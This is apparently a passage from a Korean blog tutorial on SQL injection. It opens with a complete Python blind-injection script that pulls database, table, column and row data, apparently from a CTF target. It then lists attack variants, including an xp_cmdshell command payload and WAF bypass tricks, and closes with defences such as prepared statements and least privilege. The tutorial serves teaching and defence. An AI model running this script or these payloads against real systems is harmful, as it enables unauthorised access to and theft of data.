TOTAL_REQUESTS = 0

import json
import requests

def check_point(sql) -> bool:
    global TOTAL_REQUESTS

    # 공격 대상 URL
    URL = "<HACKING URL>"
    # 공격 헤더
    headers= {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    # Blind SQL Injection 페이로드
    data = {
        "query": f"testuser' and ({sql}) and '1'='1"
    }
    # testuser' and (SELECT LENGTH(DATABASE()) < 64) and '1'='1

    res = requests.post(URL, headers=headers, data=data, timeout=3, verify=False, allow_redirects=False)
    TOTAL_REQUESTS += 1
    if (res.status_code != 200):
        print(f"[{res.status_code}] HTTP Error")
        return False
    if (res.text.find("존재하는") < 0):
        return False
    return True

# MySQL ORD() 값을 문자로 변환
def ord_to_char(ord_value):
    """
    MySQL ORD() 값을 UTF-8 문자로 변환
    ORD()는 멀티바이트 문자의 바이트들을 조합한 값을 반환
    """
    if ord_value < 128:
        # ASCII
        return chr(ord_value)

    # 멀티바이트: ORD 값을 바이트로 분해 후 UTF-8 디코딩
    bytes_list = []
    while ord_value > 0:
        bytes_list.insert(0, ord_value & 0xFF)
        ord_value >>= 8
    return bytes(bytes_list).decode('utf-8')


# 문자 범위 감지 및 이진 탐색으로 ORD 값 추출
def extract_ord_value(target_sql):
    """
    target_sql: ORD(SUBSTR(...)) 형태의 SQL 표현식
    범위 체크 후 최적화된 이진 탐색으로 ORD 값 추출
    """
    # 범위 체크: ASCII < 128 < 한글/유니코드 < 16000000 < 이모지
    sql = f"({target_sql}) < 128"
    if check_point(sql):
        # ASCII 범위 (32 ~ 127)
        char_type = "ASCII"
        low, high = 32, 127
    else:
        sql = f"({target_sql}) < 16000000"
        if check_point(sql):
            # 한글/유니코드 범위
            char_type = "Unicode"
            low, high = 128, 16000000
        else:
            # 이모지 범위 (최대 약 41억)
            char_type = "Emoji"
            low, high = 16000000, 4294967295

    # 이진 탐색
    while low <= high:
        mid = (low + high) // 2
        sql = f"({target_sql}) > {mid}"
        if check_point(sql):
            low = mid + 1
        else:
            high = mid - 1

    return low, char_type


# check database in blind SQL Injection
def blindsql_attack_database() -> str:
    """
    select database()
    Blind SQL Injection으로 데이터베이스 이름 추출
    한글, 이모지 등 유니코드 문자 지원
    ' OR (ORD(SUBSTR((SELECT DATABASE()),1,1)) > binary_search) '
    """
    database_name = ""

    # 1. 데이터베이스 이름 길이 확인 (LENGTH 사용 - 문자 수 기준, 이진 탐색)
    low, high = 1, 64
    while low <= high:
        mid = (low + high) // 2
        sql = f"(SELECT LENGTH(DATABASE())) > {mid}"
        print(mid)
        if check_point(sql):
            low = mid + 1
        else:
            high = mid - 1
    db_length = low

    # 길이가 0이면 DB가 없거나 에러
    if db_length == 0 or db_length > 64:
        print("[-] Could not determine database length")
        return ""

    print(f"[+] Database length: {db_length}")

    # 2. 각 문자를 범위 체크 + 이진 탐색으로 추출
    for pos in range(1, db_length + 1):
        target_sql = f"ORD(SUBSTR((SELECT DATABASE()),{pos},1))"
        ord_value, char_type = extract_ord_value(target_sql)

        try:
            char = ord_to_char(ord_value)
        except:
            char = f"[ORD:{ord_value}]"

        database_name += char
        print(f"[+] pos {pos}: {char} (ORD={ord_value}, {char_type}) -> {database_name}")

    print(f"[+] Database name: {database_name}")
    return database_name


def blindsql_attack_table(db_name: str = "") -> list:
    """
    select table_name from information_schema.tables where table_schema = 'db_name'
    """
    table_names = []

    # 테이블 조회 서브쿼리 (LIMIT, OFFSET으로 각 테이블 선택)
    base_query = f"SELECT table_name FROM information_schema.tables WHERE table_schema="
    # 1. TABLE 개수 구하기 (COUNT, 이진 탐색)
    count_query = f"SELECT COUNT(*) FROM information_schema.tables WHERE table_schema="
    if db_name == "":
        base_query += "(SELECT DATABASE())"
        count_query += "(SELECT DATABASE())"
    else:
        base_query += f"'{db_name}'"
        count_query += f"'{db_name}'"


    low, high = 0, 256
    while low <= high:
        mid = (low + high) // 2
        sql = f"({count_query}) > {mid}"
        if check_point(sql):
            low = mid + 1
        else:
            high = mid - 1
    table_count = low

    if table_count == 0:
        print("[-] No tables found")
        return table_names

    print(f"[+] Table count: {table_count}")

    # 2. 각 테이블 순회 (LIMIT 1 OFFSET i)
    for i in range(table_count):
        table_query = f"{base_query} LIMIT 1 OFFSET {i}"
        table_name = ""

        # 2-1. 테이블 이름 길이 (이진 탐색)
        low, high = 1, 64
        while low <= high:
            mid = (low + high) // 2
            sql = f"(SELECT LENGTH(({table_query}))) > {mid}"
            if check_point(sql):
                low = mid + 1
            else:
                high = mid - 1
        table_len = low

        if table_len == 0 or table_len > 64:
            print(f"[-] Could not determine table[{i}] length")
            continue

        # 2-2. 각 문자 추출 (범위 체크 + 이진 탐색)
        for pos in range(1, table_len + 1):
            target_sql = f"ORD(SUBSTR(({table_query}),{pos},1))"
            ord_value, char_type = extract_ord_value(target_sql)

            try:
                char = ord_to_char(ord_value)
            except:
                char = f"[ORD:{ord_value}]"

            table_name += char

        table_names.append(table_name)
        print(f"[+] Table[{i}]: {table_name} (len={table_len})")

    print(f"[+] Found {len(table_names)} tables: {table_names}")
    return table_names


def blindsql_attack_column(table_name: str) -> list:
    """
    select column_name from information_schema.columns where table_name = 'table_name'
    """
    column_names = []

    # 컬럼 조회 서브쿼리 (LIMIT, OFFSET으로 각 컬럼 선택)
    base_query = f"SELECT column_name FROM information_schema.columns WHERE table_name='{table_name}'"
    count_query = f"SELECT COUNT(*) FROM information_schema.columns WHERE table_name='{table_name}'"

    # 1. COLUMN 개수 구하기 (COUNT, 이진 탐색)
    low, high = 0, 256
    while low <= high:
        mid = (low + high) // 2
        sql = f"({count_query}) > {mid}"
        if check_point(sql):
            low = mid + 1
        else:
            high = mid - 1
    column_count = low

    if column_count == 0:
        print(f"[-] No columns found in table '{table_name}'")
        return column_names

    print(f"[+] Column count in '{table_name}': {column_count}")

    # 2. 각 컬럼 순회 (LIMIT 1 OFFSET i)
    for i in range(column_count):
        column_query = f"{base_query} LIMIT 1 OFFSET {i}"
        column_name = ""

        # 2-1. 컬럼 이름 길이 (이진 탐색)
        low, high = 1, 64
        while low <= high:
            mid = (low + high) // 2
            sql = f"(SELECT LENGTH(({column_query}))) > {mid}"
            if check_point(sql):
                low = mid + 1
            else:
                high = mid - 1
        column_len = low

        if column_len == 0 or column_len > 64:
            print(f"[-] Could not determine column[{i}] length")
            continue

        # 2-2. 각 문자 추출 (범위 체크 + 이진 탐색)
        for pos in range(1, column_len + 1):
            target_sql = f"ORD(SUBSTR(({column_query}),{pos},1))"
            ord_value, char_type = extract_ord_value(target_sql)

            try:
                char = ord_to_char(ord_value)
            except:
                char = f"[ORD:{ord_value}]"

            column_name += char

        column_names.append(column_name)
        print(f"[+] Column[{i}]: {column_name} (len={column_len})")

    print(f"[+] Found {len(column_names)} columns in '{table_name}': {column_names}")
    return column_names



def blindsql_get_result(table_name: str, column_name: str) -> list:
    """
    select column_name from table_name LIMIT 1 OFFSET i
    """
    results = []

    # 데이터 조회 서브쿼리
    base_query = f"SELECT {column_name} FROM {table_name}"
    count_query = f"SELECT COUNT(*) FROM {table_name}"

    # 1. 행 개수 구하기 (COUNT, 이진 탐색)
    low, high = 0, 256
    while low <= high:
        mid = (low + high) // 2
        sql = f"({count_query}) > {mid}"
        if check_point(sql):
            low = mid + 1
        else:
            high = mid - 1
    row_count = low

    if row_count == 0:
        print(f"[-] No data found in {table_name}.{column_name}")
        return results

    print(f"[+] Row count in '{table_name}.{column_name}': {row_count}")

    # 2. 각 행 순회 (LIMIT 1 OFFSET i)
    for i in range(row_count):
        data_query = f"{base_query} LIMIT 1 OFFSET {i}"
        data_value = ""

        # 2-1. 데이터 길이 (이진 탐색)
        low, high = 0, 256
        while low <= high:
            mid = (low + high) // 2
            sql = f"(SELECT LENGTH(({data_query}))) > {mid}"
            if check_point(sql):
                low = mid + 1
            else:
                high = mid - 1
        data_len = low

        if data_len == 0:
            results.append("")
            print(f"[+] Row[{i}]: (empty)")
            continue

        if data_len > 256:
            print(f"[-] Row[{i}] length too long, skipping")
            continue

        # 2-2. 각 문자 추출 (범위 체크 + 이진 탐색)
        for pos in range(1, data_len + 1):
            target_sql = f"ORD(SUBSTR(({data_query}),{pos},1))"
            ord_value, char_type = extract_ord_value(target_sql)

            try:
                char = ord_to_char(ord_value)
            except:
                char = f"[ORD:{ord_value}]"

            data_value += char

        results.append(data_value)
        print(f"[+] Row[{i}]: {data_value} (len={data_len})")

    print(f"[+] Found {len(results)} rows in '{table_name}.{column_name}': {results}")
    return results


def main():
    # db_name = blindsql_attack_database()
    # print(db_name)
    # db_name = 'blindSqli'

    print("Check Parse Table Names.....")
    # table_names = blindsql_attack_table()
    print("===== Table Names =====")
    table_names = ['flagTable', 'member', 'plusFlag_Table']
    print(table_names)

    print("Check Parse Column Names.....")
    table_information = {}
    for table in table_names:
        print("Table:", table)
        table_information[table] = []
        column_names = blindsql_attack_column(table)
        table_information[table] = column_names
        for column in column_names:
            print("  - Column:", column)

    print("===== Column Information =====")
    for table, columns in table_information.items():
        print(f"Table: {table}, Columns: {columns}")

    # save to file json
    with open("table_info.json", "w", encoding="utf-8") as f:
        json.dump(table_information, f, ensure_ascii=False, indent=2)
    print("[+] Saved to table_info.json")

    print("Done.")

def main2():
    result = blindsql_get_result("flagTable", "flag")
    print("===== Flag Table Results =====")
    for row in result:
        print(f"- Row: '{row}'")
        print("Flag:", row)


if __name__ == "__main__":
    # main()
    main2()
    print("Total requests:", TOTAL_REQUESTS)

주의점: Blind SQL Injection 공격은 데이터를 추출해오는 데 매우 오랜 시간이 걸리는데다,
데이터를 추출하기 위해 서버에 많은 트래픽을 발생하기 때문에, 실제 서비스에 과도한 부하를 줄 수 있다.
또한, 단기간에 동일한 요청으로 많은 트래픽을 쏘아보내기 때문에, 관제 시스템이나 보안 장비(웹 방화벽(WAF) 등) 등에 의해 차단될 가능성이 높아짐에 유의해야 한다.

기타 공격 방법

  • Stacked Queries (다중 쿼리)
    • 세미콜론(;)으로 완전히 별개의 쿼리를 실행
  • Out-of-Band (OOB)
    • DB 서버에서 외부 서버로 데이터를 전송시키는 기법. 화면 출력도 없고 시간 기반도 어려울 때 쓸 수 있다.
  • Second-Order SQL Injection (2차 SQL Injection)
    • 입력 시점이 아니라, 저장된 데이터가 나중에 다른 쿼리에서 사용될 때 발생
      1
      2
      3
      4
      
      1) 회원가입 시 username을 admin'-- 으로 등록 (여기선 Prepared Statement 사용)
      2) 나중에 프로필 수정 쿼리에서 이 username을 그대로 사용
       → UPDATE user SET email='...' WHERE username='admin'--'
       → admin 계정의 이메일이 변경됨
      

입력 단계에서는 안전하게 처리했는데, 꺼내 쓸 때 검증 안 하면 터짐.

  • Stored Procedure Injection

저장 프로시저 내부에서 동적 SQL을 쓸 때 발생

1
2
3
4
5
6
7
8
-- MSSQL 저장 프로시저 예시
CREATE PROCEDURE getUser @name VARCHAR(50)
AS
  EXEC('SELECT * FROM user WHERE name = ''' + @name + '''')
GO

-- 공격
'; EXEC xp_cmdshell 'whoami' --

방어 방법

1. Prepared Statement (파라미터 바인딩)

SQL Injection에 대한 가장 근본적이고 효과적인 방어 방법이다.
사용자 입력값을 SQL 쿼리 문자열에 직접 결합하지 않고, 파라미터로 바인딩하여 전달한다.
DB 엔진이 쿼리 구조와 데이터를 분리하여 처리하므로, 입력값이 SQL 구문으로 해석되지 않는다.

취약한 코드 (문자열 결합)

1
2
3
4
5
<?php
// 사용자 입력이 쿼리 문자열에 직접 결합 -> SQL Injection 취약
$query = "SELECT * FROM logindata WHERE id = '$id'";
$result = mysqli_query($conn, $query);
?>

안전한 코드 (Prepared Statement)

1
2
3
4
5
6
7
<?php
// 파라미터 바인딩 -> SQL Injection 불가
$stmt = $conn->prepare("SELECT * FROM logindata WHERE id = ?");
$stmt->bind_param("s", $id);
$stmt->execute();
$result = $stmt->get_result();
?>

다른 언어에서의 Prepared Statement 예시는 다음과 같다.

1
2
3
4
// Java (JDBC)
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM logindata WHERE id = ?");
stmt.setString(1, id);
ResultSet rs = stmt.executeQuery();
1
2
# Python (MySQL Connector)
cursor.execute("SELECT * FROM logindata WHERE id = %s", (id,))

2. ORM (Object-Relational Mapping) 사용

ORM은 SQL 쿼리를 직접 작성하지 않고, 객체 지향적으로 DB에 접근하는 방식이다.
대부분의 ORM 프레임워크는 내부적으로 Prepared Statement를 사용하므로, SQL Injection에 안전하다.

1
2
# Python (SQLAlchemy)
user = session.query(User).filter(User.id == input_id).first()

단, ORM에서도 Raw Query를 직접 작성하는 경우에는 SQL Injection에 취약할 수 있으므로 주의해야 한다.

1
2
3
4
5
# ORM에서도 Raw Query 사용 시 취약
session.execute(f"SELECT * FROM user WHERE id = '{input_id}'")  # 취약!

# Raw Query에서도 파라미터 바인딩 사용
session.execute(text("SELECT * FROM user WHERE id = :id"), {"id": input_id})  # 안전

3. 입력값 검증 (Validation)

사용자 입력값에 대해 화이트리스트 기반으로 허용된 값만 통과시킨다.
Prepared Statement와 함께 다중 방어(Defense in Depth) 전략으로 병행해야 한다.

  • 숫자만 허용되는 필드는 숫자만 통과시킨다.
  • 문자열 길이를 제한한다.
  • 특수문자(', ", -, ;, (, ) 등)를 필터링하거나 이스케이프 처리한다.
1
2
3
4
5
6
7
8
9
10
11
12
<?php
// 숫자만 허용
if (!is_numeric($user_number)) {
    die("잘못된 입력입니다.");
}

// 화이트리스트 기반 검증 (ORDER BY 칼럼명 등 파라미터 바인딩이 불가능한 경우)
$allowed_columns = ['name', 'email', 'phone'];
if (!in_array($sort_column, $allowed_columns)) {
    die("잘못된 입력입니다.");
}
?>

주의: ORDER BY, 테이블명, 칼럼명 등은 Prepared Statement로 파라미터 바인딩이 불가능하다.
이런 경우에는 반드시 화이트리스트 검증을 적용해야 한다.

4. 최소 권한 원칙 (Least Privilege)

DB 접속 계정에 애플리케이션에 필요한 최소한의 권한만 부여한다.
SQL Injection이 성공하더라도, 피해 범위를 최소화할 수 있다.

  • 웹 애플리케이션용 DB 계정에는 SELECT, INSERT, UPDATE, DELETE 권한만 부여한다.
  • DROP, CREATE, ALTER 등의 DDL 권한을 부여하지 않는다.
  • FILE, LOAD_FILE() 등 파일 접근 권한을 부여하지 않는다.
  • MSSQL의 경우 xp_cmdshell 등 OS 명령 실행 기능을 비활성화한다.
  • information_schema 접근 권한을 제한한다.

5. 에러 메시지 숨기기

Error Based SQL Injection은 에러 메시지가 화면에 출력되어야 공격이 가능하다.
운영 환경에서는 DB 에러 메시지를 사용자에게 직접 노출하지 않도록 설정한다.

1
2
3
4
5
6
7
8
9
10
11
<?php
// 취약: 에러 메시지가 그대로 출력됨
$result = mysqli_query($conn, $query) or die(mysqli_error($conn));

// 안전: 에러 메시지를 숨기고, 내부 로그에만 기록
$result = mysqli_query($conn, $query);
if (!$result) {
    error_log("DB Error: " . mysqli_error($conn));  // 서버 로그에만 기록
    echo "오류가 발생했습니다. 관리자에게 문의하세요.";
}
?>
1
2
3
; php.ini - 운영 환경 설정
display_errors = Off
log_errors = On

6. WAF (Web Application Firewall)

웹 방화벽을 통해 SQL Injection 패턴이 포함된 요청을 차단한다.
UNION, SELECT, EXTRACTVALUE, UPDATEXML, SLEEP(), BENCHMARK() 등의 키워드를 필터링한다.

단, WAF는 우회 기법이 존재하므로, 단독 방어 수단이 아닌 보조적인 방어 수단으로 활용해야 한다.
WAF 우회 기법의 예시는 다음과 같다.

  • 대소문자 혼합: SeLeCt, uNiOn
  • 주석 삽입: UN/**/ION, SE/**/LECT
  • 인코딩: URL 인코딩, 더블 인코딩
  • 공백 대체: %09(탭), %0a(개행), /**/(주석)

따라서, Prepared Statement가 근본적인 방어이며, WAF는 추가적인 방어 계층으로 사용하는 것이 올바른 방어 전략이다.

This post is licensed under CC BY 4.0 by the author.